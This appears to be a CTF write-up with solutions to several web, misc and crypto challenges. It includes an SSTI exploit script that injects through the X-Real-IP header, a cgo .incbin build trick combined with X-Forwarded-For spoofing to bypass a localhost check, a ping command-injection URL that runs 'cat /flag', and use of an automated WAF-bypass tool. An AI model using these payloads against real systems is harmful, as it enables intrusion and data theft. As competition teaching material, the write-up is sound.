Web1#
View the source code, there is a js file
The content is as follows:
eval(atob("ZnVuY3Rpb24gZW5jcnlwdEFuZFN1Ym1pdCgpIHsKICAgIHZhciBfMHgxYTJiID0gZG9jdW1lbnRbJ2dldEVsZW1lbnRCeUlkJ10oJ3Bhc3N3b3JkJylbJ3ZhbHVlJ107CiAgICB2YXIgXzB4MmIzYyA9ICdDVEYyMDI1JzsKICAgIHZhciBfMHgzYzRkID0gbWQ1KF8weDFhMmIgKyBfMHgyYjNjKTsKICAgIGRvY3VtZW50WydnZXRFbGVtZW50QnlJZCddKCdlbmNyeXB0ZWQnKVsndmFsdWUnXSA9IF8weDNjNGQ7CiAgICBkb2N1bWVudFsnZ2V0RWxlbWVudEJ5SWQnXSgncGFzc3dvcmQnKVsndmFsdWUnXSA9ICcnOwogICAgcmV0dXJuIHRydWU7Cn0="))
base64 decode
function encryptAndSubmit() {
var _0x1a2b = document['getElementById']('password')['value'];
var _0x2b3c = 'CTF2025';
var _0x3c4d = md5(_0x1a2b + _0x2b3c);
document['getElementById']('encrypted')['value'] = _0x3c4d;
document['getElementById']('password')['value'] = '';
return true;
}
The above code is used to md5 encrypt the input password, with a salt added to the md5, such as md5(password,CTF2025), which can be cracked.
Burp settings are as follows
Crack to get the flag
Web4#
An attachment was provided, the content of main.go is
package main
import (
"context"
"fmt"
"net"
"net/http"
"os"
"os/exec"
"time"
"github.com/gin-gonic/gin"
)
func executeCommandWithTimeout(name string, args ...string) error {
ctx, cancel := context.WithTimeout(context.Background(), time.Second*10)
defer cancel()
cmd := exec.CommandContext(ctx, name, args...)
cmd.Dir = os.TempDir()
return cmd.Run()
}
func localhostOnly() gin.HandlerFunc {
return func(c *gin.Context) {
clientIPString := c.ClientIP()
ip := net.ParseIP(clientIPString)
if ip == nil {
c.String(http.StatusBadRequest, "Invalid IP address")
c.Abort()
return
}
if !ip.IsLoopback() {
c.String(http.StatusForbidden, "Access denied. This endpoint is only allowed to be accessed from localhost")
c.Abort()
return
}
c.Next()
}
}
func handleBuild(c *gin.Context) {
body := http.MaxBytesReader(c.Writer, c.Request.Body, 0x1000)
defer body.Close()
dir, err := os.MkdirTemp("", "c2_")
if err != nil {
c.String(http.StatusInternalServerError, "Failed to create temporary directory: %v", err)
return
}
defer os.RemoveAll(dir)
fname := fmt.Sprintf("%s/main.go", dir)
binName := fmt.Sprintf("%s/main", dir)
f, err := os.Create(fname)
if err != nil {
c.String(http.StatusInternalServerError, "Failed to create temporary file: %v", err)
return
}
defer f.Close()
_, err = f.ReadFrom(body)
if err != nil {
c.String(http.StatusInternalServerError, "Failed to read request body: %v", err)
return
}
f.Close()
err = executeCommandWithTimeout("go", "build", "-ldflags", "-s -w", "-o", binName, fname)
if err != nil {
c.String(http.StatusInternalServerError, "Compilation failed: %v", err)
return
}
c.File(binName)
}
func main() {
gin.SetMode(gin.ReleaseMode)
router := gin.Default()
router.Use(localhostOnly())
router.POST("/api/build", handleBuild)
fmt.Println("Server is starting at http://localhost:8989")
if err := router.Run(":8989"); err != nil {
fmt.Fprintf(os.Stderr, "Failed to start server: %v\n", err)
os.Exit(1)
}
}
By sending a POST request via http, submit the go code to the above code, which compiles the submitted code and outputs the compiled go file.
Reference:
https://jro.sg/CTFs/GreyCTF%20Quals%202025/C2.html
Prepared go file content
package main
/*
__asm__ (
".incbin \"/flag\"\n"
);
*/
import "C"
func main() {
}
Then curl request
curl -X POST -H "X-Forwarded-For: 127.0.0.1" --data-binary @m6.go http://111.74.9.131:18053/api/build --output m6
Output the m6 program, then use strings to search for the flag
Web5#
Title: The company is recently participating in a cybersecurity initiative, and the leadership decided to arrange a phishing email exercise to raise employee awareness of phishing emails. Your colleague Xiao Ming created a simple phishing system, but within a few days, the website was compromised. Xiao Ming claimed he used many secure functions to render this website, so it shouldn't have been breached...
Access the link
Fill in the content and submit
from flask import Flask, request, render_template, redirect, url_for, jsonify, render_template_string, session
import json
import os
import secrets
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
from ipaddress import ip_address
app = Flask(__name__, static_url_path='/static', static_folder='static')
app.secret_key = secrets.token_hex(16)
ENCRYPTION_KEY = os.urandom(16)
print(f"ENCRYPTION_KEY: {ENCRYPTION_KEY.hex()}")
FLAG = None
# Attempt to read the flag from /flag.txt
try:
with open('/flag.txt', 'r') as f:
FLAG = f.read().strip()
except:
FLAG = "flag{this_is_a_fake_flag_for_demo_purposes}"
app.config['FLAG'] = FLAG
USERS_FILE = "users.json"
ADMIN_SECRET = "sup3r_s3cr3t_4dm1n_k3y"
if not os.path.exists(USERS_FILE):
with open(USERS_FILE, 'w') as f:
json.dump([], f)
def load_users():
try:
with open(USERS_FILE, 'r') as f:
return json.load(f)
except:
return []
def save_users(users):
with open(USERS_FILE, 'w') as f:
json.dump(users, f, indent=4)
def encrypt_data(data):
data = (data + " " * (-len(data) % AES.block_size)).encode()
cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC)
ct_bytes = cipher.iv + cipher.encrypt(data)
return ct_bytes.hex()
def decrypt_data(encrypted_data):
try:
encrypted_data = bytes.fromhex(encrypted_data)
cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC, encrypted_data[:16])
padded1 = cipher.decrypt(encrypted_data[16:])
return padded1.decode("ascii", errors="replace").rstrip(" ")
except Exception as e:
print(f"Decryption error: {e}")
return None
@app.route('/')
def index():
return render_template('login.html')
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username', '')
password = request.form.get('newPwd1', '')
oldPwd = request.form.get('oldPwd', '')
# Get IP address
real_ip = request.headers.get('X-Real-Ip', request.remote_addr)
# Create JSON data
# user_data = json.dumps({
# 'user': username,
# 'pd1': password,
# 'pd2': oldPwd,
# 'ip': real_ip
# })
# print(f"User data: {user_data}")
# Encrypt the data to create a token
# user = encrypt_data(user_data)
user = encrypt_data(username)
pd1 = encrypt_data(password)
pd2 = encrypt_data(oldPwd)
ip = encrypt_data(real_ip)
return redirect(url_for('error',user=user, pd1=pd1, pd2=pd2, ip=ip))
@app.route('/error')
def error():
username = request.args.get('user', '')
password = request.args.get('pd1', '')
oldPwd = request.args.get('pd2', '')
ip = request.args.get('ip', '')
if username and password and oldPwd and ip:
user_data_str = decrypt_data(username)
password_str = decrypt_data(password)
oldPwd_str = decrypt_data(oldPwd)
ip_str = decrypt_data(ip)
user_data = json.dumps({
'username': user_data_str,
'password': password_str,
'oldPwd': oldPwd_str,
'ip': ip_str
})
if user_data_str:
try:
# load json userdata
user_data = json.loads(user_data)
users = load_users()
users.append(user_data)
save_users(users)
except json.JSONDecodeError:
pass
# Display error page
return render_template('error.html', cred=user_data)
@app.route('/admin')
def admin():
secret = request.args.get('secret', '')
if secret != ADMIN_SECRET:
return render_template('admin_login.html')
users = load_users()
for user in users:
try:
# Validate IP to prevent XSS attacks
ip_address(user['ip'])
user['ip'] = render_template_string(user['ip'])
except ValueError:
user['ip'] = render_template_string("Invalid IP address")
except Exception as e:
user['ip'] = render_template_string("Invalid IP address")
return render_template('admin_panel.html', users=users)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
Solution script:
#!/usr/bin/env python3
import requests
# Target server address
target_url = 'http://111.74.9.131:18054'
# Set the X-Forwarded-For header to include a malicious template string
headers = {
'X-Real-IP': '{{ config.get("FLAG", "") }}'
}
# Send POST request to register a malicious user
login_data = {
'username': 'attacker',
'newPwd1': 'password',
'oldPwd': 'oldpassword'
}
response = requests.post(
f'{target_url}/login',
headers=headers,
data=login_data
)
# Redirect to error page, data has been stored in users.json
# Next, access the admin panel to trigger template injection
admin_secret = 'sup3r_s3cr3t_4dm1n_k3y'
admin_response = requests.get(
f'{target_url}/admin',
params={'secret': admin_secret}
)
# Check the response content, it should contain the FLAG value
print(admin_response.text)
Web3#
SSTI automation bypass tool
Project address: https://github.com/Marven11/Fenjing
Introduction: Fenjing is a fully automated script for bypassing WAF in CTF competitions targeting Jinja SSTI, which can automatically attack the given website or interface, saving time on manual testing and fuzzing.
Installation and usage
pipx install fenjing
fenjing webui
Open the link, the interface is as follows:
Fill in the parameters
Target link: http://xx.xx.xx.xx:18055/login
Request method: POST
Form input: need to fill in form fields, username, password
Start analysis, it will automatically iterate through payloads, and upon success, there will be a prompt, then output the command cat /flag to view the flag.
Web2#
http://x.x.x.x/?ip=127.0.0.254';echo+`cat+/flag`//'&action=ping
Scan the source code:
Misc2#
A messy QR code, use Alipay's scanning function to scan it.
Misc2#
import time
import random
print("(notice:Please use nc to connect to the port specified in the URL address bar.)")
nums = int(input("Please enter the number of questions you want to answer: "))
for i in range(nums):
one = random.randint(0, 10)
two = random.randint(0, 10)
ans = int(input("what is " + str(one) + ' + ' + str(two) + ' = '))
print("calculating")
timeTotals = pow(2, i)
print('.')
time.sleep(timeTotals / 3)
print('.')
time.sleep(timeTotals / 3)
print('.')
time.sleep(timeTotals / 3)
if ans != one + two:
print("u are not a good hack")
exit(69)
f = open('/flag.txt', 'r')
flag = f.read()
print(flag[:nums])
Run with nc, input -1 to bypass.
Crypto1#
from Crypto.Util.number import *
flag=b'flag{*****************************}'
m=bytes_to_long(flag)
p,q=getPrime(1024),getPrime(1024)
e=65537
n=p*q
d=inverse(e,(p-1)*(q-1))
dp=d%(p-1)
c=pow(m,e,n)
print(c)
print(dp)
print(p)
# 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
# 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
# 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
Decryption script
#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes
c = 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
dp = 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
p = 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
e = 65537
m = pow(c, dp ,p)
print(long_to_bytes(m))
flag{dp_is_very_easy}